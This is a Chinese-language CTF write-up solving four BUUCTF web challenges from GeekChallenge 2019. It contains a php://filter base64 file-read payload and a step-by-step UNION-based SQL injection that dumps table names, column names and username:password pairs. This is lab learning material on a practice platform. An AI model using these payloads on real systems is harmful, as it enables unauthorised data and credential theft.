BUUCTF--web
目录
[极客大挑战 2019]EasySQL
打开题目发现需要输入用户名和密码,因为刚刚看了万能密码,所以可以尝试使用万能密码绕过,得出flag。
[极客大挑战 2019]Havefun
点击网页进去以后发现是一只小猫,没有任何线索,所以就可以考虑查看源代码,发现一段php语句,是一个简单的get传值。
意思就是cat=dog的时候输出后面的字符串,所以在url后面加上?cat=dog,然后得出flag。
[极客大挑战 2019]Secret File
打开题目以后没有任何线索,所以还是查看源代码,发现一个链接,打开它。
中间有个按钮,点击过后,发现来到了另一个页面
根据文本提示可以尝试burp进行抓包处理,将抓到的右键送到repeater,然后send一下,发现了一条线索。
加上后缀进行访问
看到这里我以为flag要出来了,结果还是没有,加上后缀访问。
- 这时便想到了文件包含漏洞,看代码是对file进行了一定过滤,但并没有过滤filter
- 用php://fileter伪协议来获取文件
- ?file=php://filter/convert.base64-encode/resource=flag.php
php://filter
可以获取指定文件的源码,但是当他与包含函数结合是,php://filter流会被当做php文件执行
。所以我们一般对其进行编码,让其不执行。从而导致 任意文件读取 。利用filter协议读文件±,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。而使用的convert.base64-encode,就是一种过滤器。
常用:
php://filter/read=convert.base64-encode/resource=index.php
php://filter/resource=index.php
然后base64解密得出flag。
这道题最后要对php伪协议有了解,所以我还是需要对这方面进行学习。
[极客大挑战 2019]LoveSQL
这一题是第一题的延续,还是先用万能密码进行测试,结果出了这个页面
老老实实的进行SQL注入,首先就是查看有多少列,order by
username=admin&password=873d83e01fbdd109654b2ee2c7a06416' order by 3 %23
username=admin&password=873d83e01fbdd109654b2ee2c7a06416' order by 4 %23
到第四列是报错,说明有三列。
然后查询注入点
username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,3 %23
得到回显点位为2和3,查询当前数据库名:
username=admin&password=-873d83e01fbdd109654b2ee2c7a06416'union select 1,2,database() %23
爆表
username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
先爆表geekuser字段名
username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='geekuser' %23
在爆破表l0ve1ysq1字段
username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1' %23
和上面一样。
爆表geekuser数据
username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(username,0x3a,password) from geekuser %23
并不是flag。
继续爆表l0ve1ysq1数据
username=admin&password=-873d83e01fbdd109654b2ee2c7a06416' union select 1,2,group_concat(username,0x3a,password) from l0ve1ysq1 %23
找到flag。